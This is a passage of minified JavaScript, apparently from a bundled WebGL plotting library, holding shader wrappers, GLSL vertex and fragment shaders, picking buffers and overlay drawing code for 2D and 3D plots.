Tt=er[St[_t]];ut[2*bt]=ae*(Me*Tt[0]-Ie*Tt[1]+pt[0]),ut[2*bt+1]=ae*(Ie*Tt[0]+Me*Tt[1]+pt[1]),bt+=1}for(var Gt=Xe.edges,er=Xe.positions,Ce=0;Ce<Gt.length;++Ce)for(var St=Gt[Ce],_t=0;_t<2;++_t){for(var Ft=0;Ft<3;++Ft)st[3*Ot+Ft]=Oe[Ft];for(var Ft=0;Ft<4;++Ft)lt[4*Ot+Ft]=Le[Ft];yt[Ot]=be;var Tt=er[St[_t]];ut[2*Ot]=ae*(Me*Tt[0]-Ie*Tt[1]+pt[0]),ut[2*Ot+1]=ae*(Ie*Tt[0]+Me*Tt[1]+pt[1]),Ot+=1}}}this.bounds=[re,le],this.points=Q,this.pointCount=Q.length,this.vertexCount=ge,this.lineVertexCount=Te,this.pointBuffer.update(st),this.colorBuffer.update(lt),this.glyphBuffer.update(ut),this.idBuffer.update(yt),l.free(st),l.free(lt),l.free(ut),l.free(yt)},E.dispose=function(){this.shader.dispose(),this.orthoShader.dispose(),this.pickPerspectiveShader.dispose(),this.pickOrthoShader.dispose(),this.vao.dispose(),this.pointBuffer.dispose(),this.colorBuffer.dispose(),this.glyphBuffer.dispose(),this.idBuffer.dispose()};function fe(X){var W=X.gl,V=s.createPerspective(W),Y=s.createOrtho(W),Q=s.createProject(W),ie=s.createPickPerspective(W),j=s.createPickOrtho(W),K=s.createPickProject(W),oe=f(W),re=f(W),le=f(W),pe=f(W),we=a(W,[{buffer:oe,size:3,type:W.FLOAT},{buffer:re,size:4,type:W.FLOAT},{buffer:le,size:2,type:W.FLOAT},{buffer:pe,size:4,type:W.UNSIGNED_BYTE,normalized:!0}]),xe=new w(W,V,Y,Q,oe,re,le,pe,we,ie,j,K);return xe.update(X),xe}},1884:function(d,g,t){var r=t(6832);g.boxVertex=r([`precision mediump float;
#define GLSLIFY 1

attribute vec2 vertex;

uniform vec2 cornerA, cornerB;

void main() {
  gl_Position = vec4(mix(cornerA, cornerB, vertex), 0, 1);
}
`]),g.boxFragment=r([`precision mediump float;
#define GLSLIFY 1

uniform vec4 color;

void main() {
  gl_FragColor = color;
}
`])},6623:function(d,g,t){var r=t(5158),f=t(5827),a=t(1884);d.exports=s;function l(y,c,b){this.plot=y,this.boxBuffer=c,this.boxShader=b,this.enabled=!0,this.selectBox=[1/0,1/0,-1/0,-1/0],this.borderColor=[0,0,0,1],this.innerFill=!1,this.innerColor=[0,0,0,.25],this.outerFill=!0,this.outerColor=[0,0,0,.5],this.borderWidth=10}var u=l.prototype;u.draw=function(){if(this.enabled){var y=this.plot,c=this.selectBox,b=this.borderWidth;this.innerFill;var h=this.innerColor;this.outerFill;var i=this.outerColor,v=this.borderColor,T=y.box,w=y.screenBox,E=y.dataBox,p=y.viewBox,A=y.pixelRatio,m=(c[0]-E[0])*(p[2]-p[0])/(E[2]-E[0])+p[0],n=(c[1]-E[1])*(p[3]-p[1])/(E[3]-E[1])+p[1],C=(c[2]-E[0])*(p[2]-p[0])/(E[2]-E[0])+p[0],x=(c[3]-E[1])*(p[3]-p[1])/(E[3]-E[1])+p[1];if(m=Math.max(m,p[0]),n=Math.max(n,p[1]),C=Math.min(C,p[2]),x=Math.min(x,p[3]),!(C<m||x<n)){T.bind();var I=w[2]-w[0],k=w[3]-w[1];if(this.outerFill&&(T.drawBox(0,0,I,n,i),T.drawBox(0,n,m,x,i),T.drawBox(0,x,I,k,i),T.drawBox(C,n,I,x,i)),this.innerFill&&T.drawBox(m,n,C,x,h),b>0){var B=b*A;T.drawBox(m-B,n-B,C+B,n+B,v),T.drawBox(m-B,x-B,C+B,x+B,v),T.drawBox(m-B,n-B,m+B,x+B,v),T.drawBox(C-B,n-B,C+B,x+B,v)}}}},u.update=function(y){y=y||{},this.innerFill=!!y.innerFill,this.outerFill=!!y.outerFill,this.innerColor=(y.innerColor||[0,0,0,.5]).slice(),this.outerColor=(y.outerColor||[0,0,0,.5]).slice(),this.borderColor=(y.borderColor||[0,0,0,1]).slice(),this.borderWidth=y.borderWidth||0,this.selectBox=(y.selectBox||this.selectBox).slice()},u.dispose=function(){this.boxBuffer.dispose(),this.boxShader.dispose(),this.plot.removeOverlay(this)};function s(y,c){var b=y.gl,h=f(b,[0,0,0,1,1,0,1,1]),i=r(b,a.boxVertex,a.boxFragment),v=new l(y,h,i);return v.update(c),y.addOverlay(v),v}},2611:function(d,g,t){d.exports=b;var r=t(4234),f=t(5306),a=t(5050),l=t(2288).nextPow2,u=function(h,i,v){for(var T=1e8,w=-1,E=-1,p=h.shape[0],A=h.shape[1],m=0;m<p;m++)for(var n=0;n<A;n++){var C=h.get(m,n,0),x=h.get(m,n,1),I=h.get(m,n,2),k=h.get(m,n,3);if(C<255||x<255||I<255||k<255){var B=i-m,_=v-n,F=B*B+_*_;F<T&&(T=F,w=m,E=n)}}return[w,E,T]};function s(h,i,v,T,w){this.coord=[h,i],this.id=v,this.value=T,this.distance=w}function y(h,i,v){this.gl=h,this.fbo=i,this.buffer=v,this._readTimeout=null;var T=this;this._readCallback=function(){T.gl&&(i.bind(),h.readPixels(0,0,i.shape[0],i.shape[1],h.RGBA,h.UNSIGNED_BYTE,T.buffer),T._readTimeout=null)}}var c=y.prototype;Object.defineProperty(c,"shape",{get:function(){return this.gl?this.fbo.shape.slice():[0,0]},set:function(h){if(this.gl){this.fbo.shape=h;var i=this.fbo.shape[0],v=this.fbo.shape[1];if(v*i*4>this.buffer.length){f.free(this.buffer);for(var T=this.buffer=f.mallocUint8(l(v*i*4)),w=0;w<v*i*4;++w)T[w]=255}return h}}}),c.begin=function(){var h=this.gl;this.shape,h&&(this.fbo.bind(),h.clearColor(1,1,1,1),h.clear(h.COLOR_BUFFER_BIT|h.DEPTH_BUFFER_BIT))},c.end=function(){var h=this.gl;h&&(h.bindFramebuffer(h.FRAMEBUFFER,null),this._readTimeout||clearTimeout(this._readTimeout),this._readTimeout=setTimeout(this._readCallback,1))},c.query=function(h,i,v){if(!this.gl)return null;var T=this.fbo.shape.slice();h=h|0,i=i|0,typeof v!="number"&&(v=1);var w=Math.min(Math.max(h-v,0),T[0])|0,E=Math.min(Math.max(h+v,0),T[0])|0,p=Math.min(Math.max(i-v,0),T[1])|0,A=Math.min(Math.max(i+v,0),T[1])|0;if(E<=w||A<=p)return null;var m=[E-w,A-p],n=a(this.buffer,[m[0],m[1],4],[4,T[0]*4,1],4*(w+T[0]*p)),C=u(n.hi(m[0],m[1],1),v,v),x=C[0],I=C[1];if(x<0||Math.pow(this.radius,2)<C[2])return null;var k=n.get(x,I,0),B=n.get(x,I,1),_=n.get(x,I,2),F=n.get(x,I,3);return new s(x+w|0,I+p|0,k,[B,_,F],Math.sqrt(C[2]))},c.dispose=function(){this.gl&&(this.fbo.dispose(),f.free(this.buffer),this.gl=null,this._readTimeout&&clearTimeout(this._readTimeout))};function b(h,i){var v=i[0],T=i[1],w={},E=r(h,v,T,w),p=f.mallocUint8(v*T*4);return new y(h,E,p)}},5158:function(d,g,t){var r=t(9016),f=t(4280),a=t(3984),l=t(1628),u=t(2631),s=t(9068);function y(i){this.gl=i,this.gl.lastAttribCount=0,this._vref=this._fref=this._relink=this.vertShader=this.fragShader=this.program=this.attributes=this.uniforms=this.types=null}var c=y.prototype;c.bind=function(){this.program||this._relink();var i,v=this.gl.getProgramParameter(this.program,this.gl.ACTIVE_ATTRIBUTES),T=this.gl.lastAttribCount;if(v>T)for(i=T;i<v;i++)this.gl.enableVertexAttribArray(i);else if(T>v)for(i=v;i<T;i++)this.gl.disableVertexAttribArray(i);this.gl.lastAttribCount=v,this.gl.useProgram(this.program)},c.dispose=function(){for(var i=this.gl.lastAttribCount,v=0;v<i;v++)this.gl.disableVertexAttribArray(v);this.gl.lastAttribCount=0,this._fref&&this._fref.dispose(),this._vref&&this._vref.dispose(),this.attributes=this.types=this.vertShader=this.fragShader=this.program=this._relink=this._fref=this._vref=null};function b(i,v){return i.name<v.name?-1:1}c.update=function(i,v,T,w){if(!v||arguments.length===1){var E=i;i=E.vertex,v=E.fragment,T=E.uniforms,w=E.attributes}var p=this,A=p.gl,m=p._vref;p._vref=l.shader(A,A.VERTEX_SHADER,i),m&&m.dispose(),p.vertShader=p._vref.shader;var n=this._fref;if(p._fref=l.shader(A,A.FRAGMENT_SHADER,v),n&&n.dispose(),p.fragShader=p._fref.shader,!T||!w){var C=A.createProgram();if(A.attachShader(C,p.fragShader),A.attachShader(C,p.vertShader),A.linkProgram(C),!A.getProgramParameter(C,A.LINK_STATUS)){var x=A.getProgramInfoLog(C);throw new s(x,"Error linking program:"+x)}T=T||u.uniforms(A,C),w=w||u.attributes(A,C),A.deleteProgram(C)}w=w.slice(),w.sort(b);var I=[],k=[],B=[],_;for(_=0;_<w.length;++_){var F=w[_];if(F.type.indexOf("mat")>=0){for(var O=F.type.charAt(F.type.length-1)|0,z=new Array(O),N=0;N<O;++N)z[N]=B.length,k.push(F.name+"["+N+"]"),typeof F.location=="number"?B.push(F.location+N):Array.isArray(F.location)&&F.location.length===O&&typeof F.location[N]=="number"?B.push(F.location[N]|0):B.push(-1);I.push({name:F.name,type:F.type,locations:z})}else I.push({name:F.name,type:F.type,locations:[B.length]}),k.push(F.name),typeof F.location=="number"?B.push(F.location|0):B.push(-1)}var G=0;for(_=0;_<B.length;++_)if(B[_]<0){for(;B.indexOf(G)>=0;)G+=1;B[_]=G}var J=new Array(T.length);function q(){p.program=l.program(A,p._vref,p._fref,k,B);for(var ne=0;ne<T.length;++ne)J[ne]=A.getUniformLocation(p.program,T[ne].name)}q(),p._relink=q,p.types={uniforms:a(T),attributes:a(w)},p.attributes=f(A,p,I,B),Object.defineProperty(p,"uniforms",r(A,p,T,J))};function h(i,v,T,w,E){var p=new y(i);return p.update(v,T,w,E),p}d.exports=h},9068:function(d){function g(t,r,f){this.shortMessage=r||"",this.longMessage=f||"",this.rawError=t||"",this.message="gl-shader: "+(r||t||"")+(f?`
`+f:""),this.stack=new Error().stack}g.prototype=new Error,g.prototype.name="GLError",g.prototype.constructor=g,d.exports=g},4280:function(d,g,t){d.exports=y;var r=t(9068);function f(c,b,h,i,v,T){this._gl=c,this._wrapper=b,this._index=h,this._locations=i,this._dimension=v,this._constFunc=T}var a=f.prototype;a.pointer=function(b,h,i,v){var T=this,w=T._gl,E=T._locations[T._index];w.vertexAttribPointer(E,T._dimension,b||w.FLOAT,!!h,i||0,v||0),w.enableVertexAttribArray(E)},a.set=function(c,b,h,i){return this._constFunc(this._locations[this._index],c,b,h,i)},Object.defineProperty(a,"location",{get:function(){return this._locations[this._index]},set:function(c){return c!==this._locations[this._index]&&(this._locations[this._index]=c|0,this._wrapper.program=null),c|0}});var l=[function(c,b,h){return h.length===void 0?c.vertexAttrib1f(b,h):c.vertexAttrib1fv(b,h)},function(c,b,h,i){return h.length===void 0?c.vertexAttrib2f(b,h,i):c.vertexAttrib2fv(b,h)},function(c,b,h,i,v){return h.length===void 0?c.vertexAttrib3f(b,h,i,v):c.vertexAttrib3fv(b,h)},function(c,b,h,i,v,T){return h.length===void 0?c.vertexAttrib4f(b,h,i,v,T):c.vertexAttrib4fv(b,h)}];function u(c,b,h,i,v,T,w){var E=l[v],p=new f(c,b,h,i,v,E);Object.defineProperty(T,w,{set:function(A){return c.disableVertexAttribArray(i[h]),E(c,i[h],A),A},get:function(){return p},enumerable:!0})}function s(c,b,h,i,v,T,w){for(var E=new Array(v),p=new Array(v),A=0;A<v;++A)u(c,b,h[A],i,v,E,A),p[A]=E[A];Object.defineProperty(E,"location",{set:function(C){if(Array.isArray(C))for(var x=0;x<v;++x)p[x].location=C[x];else for(var x=0;x<v;++x)p[x].location=C+x;return C},get:function(){for(var C=new Array(v),x=0;x<v;++x)C[x]=i[h[x]];return C},enumerable:!0}),E.pointer=function(C,x,I,k){C=C||c.FLOAT,x=!!x,I=I||v*v,k=k||0;for(var B=0;B<v;++B){var _=i[h[B]];c.vertexAttribPointer(_,v,C,x,I,k+B*v),c.enableVertexAttribArray(_)}};var m=new Array(v),n=c["vertexAttrib"+v+"fv"];Object.defineProperty(T,w,{set:function(C){for(var x=0;x<v;++x){var I=i[h[x]];if(c.disableVertexAttribArray(I),Array.isArray(C[0]))n.call(c,I,C[x]);else{for(var k=0;k<v;++k)m[k]=C[v*x+k];n.call(c,I,m)}}return C},get:function(){return E},enumerable:!0})}function y(c,b,h,i){for(var v={},T=0,w=h.length;T<w;++T){var E=h[T],p=E.name,A=E.type,m=E.locations;switch(A){case"bool":case"int":case"float":u(c,b,m[0],i,1,v,p);break;default:if(A.indexOf("vec")>=0){var n=A.charCodeAt(A.length-1)-48;if(n<2||n>4)throw new r("","Invalid data type for attribute "+p+": "+A);u(c,b,m[0],i,n,v,p)}else if(A.indexOf("mat")>=0){var n=A.charCodeAt(A.length-1)-48;if(n<2||n>4)throw new r("","Invalid data type for attribute "+p+": "+A);s(c,b,m,i,n,v,p)}else throw new r("","Unknown data type for attribute "+p+": "+A);break}}return v}},9016:function(d,g,t){var r=t(3984),f=t(9068);d.exports=u;function a(s){return function(){return s}}function l(s,y){for(var c=new Array(s),b=0;b<s;++b)c[b]=y;return c}function u(s,y,c,b){function h(A){return function(m,n,C){return m.getUniform(n.program,C[A])}}function i(A){return function(n){for(var C=v("",A),x=0;x<C.length;++x){var I=C[x],k=I[0],B=I[1];if(b[B]){var _=n;if(typeof k=="string"&&(k.indexOf(".")===0||k.indexOf("[")===0)){var F=k;if(k.indexOf(".")===0&&(F=k.slice(1)),F.indexOf("]")===F.length-1){var O=F.indexOf("["),z=F.slice(0,O),N=F.slice(O+1,F.length-1);_=z?n[z][N]:n[N]}else _=n[F]}var G=c[B].type,J;switch(G){case"bool":case"int":case"sampler2D":case"samplerCube":s.uniform1i(b[B],_);break;case"float":s.uniform1f(b[B],_);break;default:var q=G.indexOf("vec");if(0<=q&&q<=1&&G.length===4+q){if(J=G.charCodeAt(G.length-1)-48,J<2||J>4)throw new f("","Invalid data type");switch(G.charAt(0)){case"b":case"i":s["uniform"+J+"iv"](b[B],_);break;case"v":s["uniform"+J+"fv"](b[B],_);break;default:throw new f("","Unrecognized data type for vector "+name+": "+G)}}else if(G.indexOf("mat")===0&&G.length===4){if(J=G.charCodeAt(G.length-1)-48,J<2||J>4)throw new f("","Invalid uniform dimension type for matrix "+name+": "+G);s["uniformMatrix"+J+"fv"](b[B],!1,_);break}else throw new f("","Unknown uniform data type for "+name+": "+G)}}}}}function v(A,m){if(typeof m!="object")return[[A,m]];var n=[];for(var C in m){var x=m[C],I=A;parseInt(C)+""===C?I+="["+C+"]":I+="."+C,typeof x=="object"?n.push.apply(n,v(I,x)):n.push([I,x])}return n}function T(A){switch(A){case"bool":return!1;case"int":case"sampler2D":case"samplerCube":return 0;case"float":return 0;default:var m=A.indexOf("vec");if(0<=m&&m<=1&&A.length===4+m){var n=A.charCodeAt(A.length-1)-48;if(n<2||n>4)throw new f("","Invalid data type");return A.charAt(0)==="b"?l(n,!1):l(n,0)}else if(A.indexOf("mat")===0&&A.length===4){var n=A.charCodeAt(A.length-1)-48;if(n<2||n>4)throw new f("","Invalid uniform dimension type for matrix "+name+": "+A);return l(n*n,0)}else throw new f("","Unknown uniform data type for "+name+": "+A)}}function w(A,m,n){if(typeof n=="object"){var C=E(n);Object.defineProperty(A,m,{get:a(C),set:i(n),enumerable:!0,configurable:!1})}else b[n]?Object.defineProperty(A,m,{get:h(n),set:i(n),enumerable:!0,configurable:!1}):A[m]=T(c[n].type)}function E(A){var m;if(Array.isArray(A)){m=new Array(A.length);for(var n=0;n<A.length;++n)w(m,n,A[n])}else{m={};for(var C in A)w(m,C,A[C])}return m}var p=r(c,!0);return{get:a(E(p)),set:i(p),enumerable:!0,configurable:!0}}},3984:function(d){d.exports=g;function g(t,r){for(var f={},a=0;a<t.length;++a)for(var l=t[a].name,u=l.split("."),s=f,y=0;y<u.length;++y){var c=u[y].split("[");if(c.length>1){c[0]in s||(s[c[0]]=[]),s=s[c[0]];for(var b=1;b<c.length;++b){var h=parseInt(c[b]);b<c.length-1||y<u.length-1?(h in s||(b<c.length-1?s[h]=[]:s[h]={}),s=s[h]):r?s[h]=a:s[h]=t[a].type}}else y<u.length-1?(c[0]in s||(s[c[0]]={}),s=s[c[0]]):r?s[c[0]]=a:s[c[0]]=t[a].type}return f}},2631:function(d,g){g.uniforms=a,g.attributes=l;var t={FLOAT:"float",FLOAT_VEC2:"vec2",FLOAT_VEC3:"vec3",FLOAT_VEC4:"vec4",INT:"int",INT_VEC2:"ivec2",INT_VEC3:"ivec3",INT_VEC4:"ivec4",BOOL:"bool",BOOL_VEC2:"bvec2",BOOL_VEC3:"bvec3",BOOL_VEC4:"bvec4",FLOAT_MAT2:"mat2",FLOAT_MAT3:"mat3",FLOAT_MAT4:"mat4",SAMPLER_2D:"sampler2D",SAMPLER_CUBE:"samplerCube"},r=null;function f(u,s){if(!r){var y=Object.keys(t);r={};for(var c=0;c<y.length;++c){var b=y[c];r[u[b]]=t[b]}}return r[s]}function a(u,s){for(var y=u.getProgramParameter(s,u.ACTIVE_UNIFORMS),c=[],b=0;b<y;++b){var h=u.getActiveUniform(s,b);if(h){var i=f(u,h.type);if(h.size>1)for(var v=0;v<h.size;++v)c.push({name:h.name.replace("[0]","["+v+"]"),type:i});else c.push({name:h.name,type:i})}}return c}function l(u,s){for(var y=u.getProgramParameter(s,u.ACTIVE_ATTRIBUTES),c=[],b=0;b<y;++b){var h=u.getActiveAttrib(s,b);h&&c.push({name:h.name,type:f(u,h.type)})}return c}},1628:function(d,g,t){g.shader=v,g.program=T;var r=t(9068),f=t(3530),a=typeof WeakMap>"u"?t(4037):WeakMap,l=new a,u=0;function s(w,E,p,A,m,n,C){this.id=w,this.src=E,this.type=p,this.shader=A,this.count=n,this.programs=[],this.cache=C}s.prototype.dispose=function(){if(--this.count===0){for(var w=this.cache,E=w.gl,p=this.programs,A=0,m=p.length;A<m;++A){var n=w.programs[p[A]];n&&(delete w.programs[A],E.deleteProgram(n))}E.deleteShader(this.shader),delete w.shaders[this.type===E.FRAGMENT_SHADER|0][this.src]}};function y(w){this.gl=w,this.shaders=[{},{}],this.programs={}}var c=y.prototype;function b(w,E,p){var A=w.createShader(E);if(w.shaderSource(A,p),w.compileShader(A),!w.getShaderParameter(A,w.COMPILE_STATUS)){var m=w.getShaderInfoLog(A);try{var n=f(m,p,E)}catch(C){throw console.warn("Failed to format compiler error: "+C),new r(m,`Error compiling shader:
`+m)}throw new r(m,n.short,n.long)}return A}c.getShaderReference=function(w,E){var p=this.gl,A=this.shaders[w===p.FRAGMENT_SHADER|0],m=A[E];if(!m||!p.isShader(m.shader)){var n=b(p,w,E);m=A[E]=new s(u++,E,w,n,[],1,this)}else m.count+=1;return m};function h(w,E,p,A,m){var n=w.createProgram();w.attachShader(n,E),w.attachShader(n,p);for(var C=0;C<A.length;++C)w.bindAttribLocation(n,m[C],A[C]);if(w.linkProgram(n),!w.getProgramParameter(n,w.LINK_STATUS)){var x=w.getProgramInfoLog(n);throw new r(x,"Error linking program: "+x)}return n}c.getProgram=function(w,E,p,A){var m=[w.id,E.id,p.join(":"),A.join(":")].join("@"),n=this.programs[m];return(!n||!this.gl.isProgram(n))&&(this.programs[m]=n=h(this.gl,w.shader,E.shader,p,A),w.programs.push(m),E.programs.push(m)),n};function i(w){var E=l.get(w);return E||(E=new y(w),l.set(w,E)),E}function v(w,E,p){return i(w).getShaderReference(E,p)}function T(w,E,p,A,m){return i(w).getProgram(E,p,A,m)}},3050:function(d){d.exports=r;function g(f){this.plot=f,this.enable=[!0,!0,!1,!1],this.width=[1,1,1,1],this.color=[[0,0,0,1],[0,0,0,1],[0,0,0,1],[0,0,0,1]],this.center=[1/0,1/0]}var t=g.prototype;t.update=function(f){f=f||{},this.enable=(f.enable||[!0,!0,!1,!1]).slice(),this.width=(f.width||[1,1,1,1]).slice(),this.color=(f.color||[[0,0,0,1],[0,0,0,1],[0,0,0,1],[0,0,0,1]]).map(function(a){return a.slice()}),this.center=(f.center||[1/0,1/0]).slice(),this.plot.setOverlayDirty()},t.draw=function(){var f=this.enable,a=this.width,l=this.color,u=this.center,s=this.plot,y=s.line,c=s.dataBox,b=s.viewBox;if(y.bind(),c[0]<=u[0]&&u[0]<=c[2]&&c[1]<=u[1]&&u[1]<=c[3]){var h=b[0]+(u[0]-c[0])/(c[2]-c[0])*(b[2]-b[0]),i=b[1]+(u[1]-c[1])/(c[3]-c[1])*(b[3]-b[1]);f[0]&&y.drawLine(h,i,b[0],i,a[0],l[0]),f[1]&&y.drawLine(h,i,h,b[1],a[1],l[1]),f[2]&&y.drawLine(h,i,b[2],i,a[2],l[2]),f[3]&&y.drawLine(h,i,h,b[3],a[3],l[3])}},t.dispose=function(){this.plot.removeOverlay(this)};function r(f,a){var l=new g(f);return l.update(a),f.addOverlay(l),l}},3540:function(d,g,t){var r=t(6832),f=t(5158),a=r([`precision mediump float;
#define GLSLIFY 1

attribute vec3 position, color;
attribute float weight;

uniform mat4 model, view, projection;
uniform vec3 coordinates[3];
uniform vec4 colors[3];
uniform vec2 screenShape;
uniform float lineWidth;

varying vec4 fragColor;

void main() {
  vec3 vertexPosition = mix(coordinates[0],
    mix(coordinates[2], coordinates[1], 0.5 * (position + 1.0)), abs(position));

  vec4 clipPos = projection * view * model * vec4(vertexPosition, 1.0);
  vec2 clipOffset = (projection * view * model * vec4(color, 0.0)).xy;
  vec2 delta = weight * clipOffset * screenShape;
  vec2 lineOffset = normalize(vec2(delta.y, -delta.x)) / screenShape;

  gl_Position   = vec4(clipPos.xy + clipPos.w * 0.5 * lineWidth * lineOffset, clipPos.z, clipPos.w);
  fragColor     = color.x * colors[0] + color.y * colors[1] + color.z * colors[2];
}
`]),l=r([`precision mediump float;
#define GLSLIFY 1

varying vec4 fragColor;

void main() {
  gl_FragColor = fragColor;
}`]);d.exports=function(u){return f(u,a,l,null,[{name:"position",type:"vec3"},{name:"color",type:"vec3"},{name:"weight",type:"float"}])}},6496:function(d,g,t){var r=t(5827),f=t(2944),a=t(3540);d.exports=h;var l=[1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1];function u(i,v,T,w){this.gl=i,this.buffer=v,this.vao=T,this.shader=w,this.pixelRatio=1,this.bounds=[[-1e3,-1e3,-1e3],[1e3,1e3,1e3]],this.position=[0,0,0],this.lineWidth=[2,2,2],this.colors=[[0,0,0,1],[0,0,0,1],[0,0,0,1]],this.enabled=[!0,!0,!0],this.drawSides=[!0,!0,!0],this.axes=null}var s=u.prototype,y=[0,0,0],c=[0,0,0],b=[0,0];s.isTransparent=function(){return!1},s.drawTransparent=function(i){},s.draw=function(i){var v=this.gl,T=this.vao,w=this.shader;T.bind(),w.bind();var E=i.model||l,p=i.view||l,A=i.projection||l,m;this.axes&&(m=this.axes.lastCubeProps.axis);for(var n=y,C=c,x=0;x<3;++x)m&&m[x]<0?(n[x]=this.bounds[0][x],C[x]=this.bounds[1][x]):(n[x]=this.bounds[1][x],C[x]=this.bounds[0][x]);b[0]=v.drawingBufferWidth,b[1]=v.drawingBufferHeight,w.uniforms.model=E,w.uniforms.view=p,w.uniforms.projection=A,w.uniforms.coordinates=[this.position,n,C],w.uniforms.colors=this.colors,w.uniforms.screenShape=b;for(var x=0;x<3;++x)w.uniforms.lineWidth=this.lineWidth[x]*this.pixelRatio,this.enabled[x]&&(T.draw(v.TRIANGLES,6,6*x),this.drawSides[x]&&T.draw(v.TRIANGLES,12,18+12*x));T.unbind()},s.update=function(i){i&&("bounds"in i&&(this.bounds=i.bounds),"position"in i&&(this.position=i.position),"lineWidth"in i&&(this.lineWidth=i.lineWidth),"colors"in i&&(this.colors=i.colors),"enabled"in i&&(this.enabled=i.enabled),"drawSides"in i&&(this.drawSides=i.drawSides))},s.dispose=function(){this.vao.dispose(),this.buffer.dispose(),this.shader.dispose()};function h(i,v){var T=[];function w(n,C,x,I,k,B){var _=[n,C,x,0,0,0,1];_[I+3]=1,_[I]=k,T.push.apply(T,_),_[6]=-1,T.push.apply(T,_),_[I]=B,T.push.apply(T,_),T.push.apply(T,_),_[6]=1,T.push.apply(T,_),_[I]=k,T.push.apply(T,_)}w(0,0,0,0,0,1),w(0,0,0,1,0,1),w(0,0,0,2,0,1),w(1,0,0,1,-1,1),w(1,0,0,2,-1,1),w(0,1,0,0,-1,1),w(0,1,0,2,-1,1),w(0,0,1,0,-1,1),w(0,0,1,1,-1,1);var E=r(i,T),p=f(i,[{type:i.FLOAT,buffer:E,size:3,offset:0,stride:28},{type:i.FLOAT,buffer:E,size:3,offset:12,stride:28},{type:i.FLOAT,buffer:E,size:1,offset:24,stride:28}]),A=a(i);A.attributes.position.location=0,A.attributes.color.location=1,A.attributes.weight.location=2;var m=new u(i,E,p,A);return m.update(v),m}},9578:function(d,g,t){var r=t(6832),f=r([`precision highp float;

precision highp float;
#define GLSLIFY 1

vec3 getOrthogonalVector(vec3 v) {
  // Return up-vector for only-z vector.
  // Return ax + by + cz = 0, a point that lies on the plane that has v as a normal and that isn't (0,0,0).
  // From the above if-statement we have ||a|| > 0  U  ||b|| > 0.
  // Assign z = 0, x = -b, y = a:
  // a*-b + b*a + c*0 = -ba + ba + 0 = 0
  if (v.x*v.x > v.z*v.z || v.y*v.y > v.z*v.z) {
    return normalize(vec3(-v.y, v.x, 0.0));
  } else {
    return normalize(vec3(0.0, v.z, -v.y));
  }
}

// Calculate the tube vertex and normal at the given index.
//
// The returned vertex is for a tube ring with its center at origin, radius of length(d), pointing in the direction of d.
//
// Each tube segment is made up of a ring of vertices.
// These vertices are used to make up the triangles of the tube by connecting them together in the vertex array.
// The indexes of tube segments run from 0 to 8.
//
vec3 getTubePosition(vec3 d, float index, out vec3 normal) {
  float segmentCount = 8.0;

  float angle = 2.0 * 3.14159 * (index / segmentCount);

  vec3 u = getOrthogonalVector(d);
  vec3 v = normalize(cross(u, d));

  vec3 x = u * cos(angle) * length(d);
  vec3 y = v * sin(angle) * length(d);
  vec3 v3 = x + y;

  normal = normalize(v3);

  return v3;
}

attribute vec4 vector;
attribute vec4 color, position;
attribute vec2 uv;

uniform float vectorScale, tubeScale;
uniform mat4 model, view, projection, inverseModel;
uniform vec3 eyePosition, lightPosition;

varying vec3 f_normal, f_lightDirection, f_eyeDirection, f_data, f_position;
varying vec4 f_color;
varying vec2 f_uv;

void main() {
  // Scale the vector magnitude to stay constant with
  // model & view changes.
  vec3 normal;
  vec3 XYZ = getTubePosition(mat3(model) * (tubeScale * vector.w * normalize(vector.xyz)), position.w, normal);
  vec4 tubePosition = model * vec4(position.xyz, 1.0) + vec4(XYZ, 0.0);

  //Lighting geometry parameters
  vec4 cameraCoordinate = view * tubePosition;
  cameraCoordinate.xyz /= cameraCoordinate.w;
  f_lightDirection = lightPosition - cameraCoordinate.xyz;
  f_eyeDirection   = eyePosition - cameraCoordinate.xyz;
  f_normal = normalize((vec4(normal, 0.0) * inverseModel).xyz);

  // vec4 m_position  = model * vec4(tubePosition, 1.0);
  vec4 t_position  = view * tubePosition;
  gl_Position      = projection * t_position;

  f_color          = color;
  f_data           = tubePosition.xyz;
  f_position       = position.xyz;
  f_uv             = uv;
}
`]),a=r([`#extension GL_OES_standard_derivatives : enable

precision highp float;
#define GLSLIFY 1

float beckmannDistribution(float x, float roughness) {
  float NdotH = max(x, 0.0001);
  float cos2Alpha = NdotH * NdotH;
  float tan2Alpha = (cos2Alpha - 1.0) / cos2Alpha;
  float roughness2 = roughness * roughness;
  float denom = 3.141592653589793 * roughness2 * cos2Alpha * cos2Alpha;
  return exp(tan2Alpha / roughness2) / denom;
}

float cookTorranceSpecular(
  vec3 lightDirection,
  vec3 viewDirection,
  vec3 surfaceNormal,
  float roughness,
  float fresnel) {

  float VdotN = max(dot(viewDirection, surfaceNormal), 0.0);
  float LdotN = max(dot(lightDirection, surfaceNormal), 0.0);

  //Half angle vector
  vec3 H = normalize(lightDirection + viewDirection);

  //Geometric term
  float NdotH = max(dot(surfaceNormal, H), 0.0);
  float VdotH = max(dot(viewDirection, H), 0.000001);
  float LdotH = max(dot(lightDirection, H), 0.000001);
  float G1 = (2.0 * NdotH * VdotN) / VdotH;
  float G2 = (2.0 * NdotH * LdotN) / LdotH;
  float G = min(1.0, min(G1, G2));
  
  //Distribution term
  float D = beckmannDistribution(NdotH, roughness);

  //Fresnel term
  float F = pow(1.0 - VdotN, fresnel);

  //Multiply terms and done
  return  G * F * D / max(3.14159265 * VdotN, 0.000001);
}

bool outOfRange(float a, float b, float p) {
  return ((p > max(a, b)) || 
          (p < min(a, b)));
}

bool outOfRange(vec2 a, vec2 b, vec2 p) {
  return (outOfRange(a.x, b.x, p.x) ||
          outOfRange(a.y, b.y, p.y));
}

bool outOfRange(vec3 a, vec3 b, vec3 p) {
  return (outOfRange(a.x, b.x, p.x) ||
          outOfRange(a.y, b.y, p.y) ||
          outOfRange(a.z, b.z, p.z));
}

bool outOfRange(vec4 a, vec4 b, vec4 p) {
  return outOfRange(a.xyz, b.xyz, p.xyz);
}

uniform vec3 clipBounds[2];
uniform float roughness, fresnel, kambient, kdiffuse, kspecular, opacity;
uniform sampler2D texture;

varying vec3 f_normal, f_lightDirection, f_eyeDirection, f_data, f_position;
varying vec4 f_color;
varying vec2 f_uv;

void main() {
  if (outOfRange(clipBounds[0], clipBounds[1], f_position)) discard;
  vec3 N = normalize(f_normal);
  vec3 L = normalize(f_lightDirection);
  vec3 V = normalize(f_eyeDirection);

  if(gl_FrontFacing) {
    N = -N;
  }

  float specular = min(1.0, max(0.0, cookTorranceSpecular(L, V, N, roughness, fresnel)));
  float diffuse  = min(kambient + kdiffuse * max(dot(N, L), 0.0), 1.0);

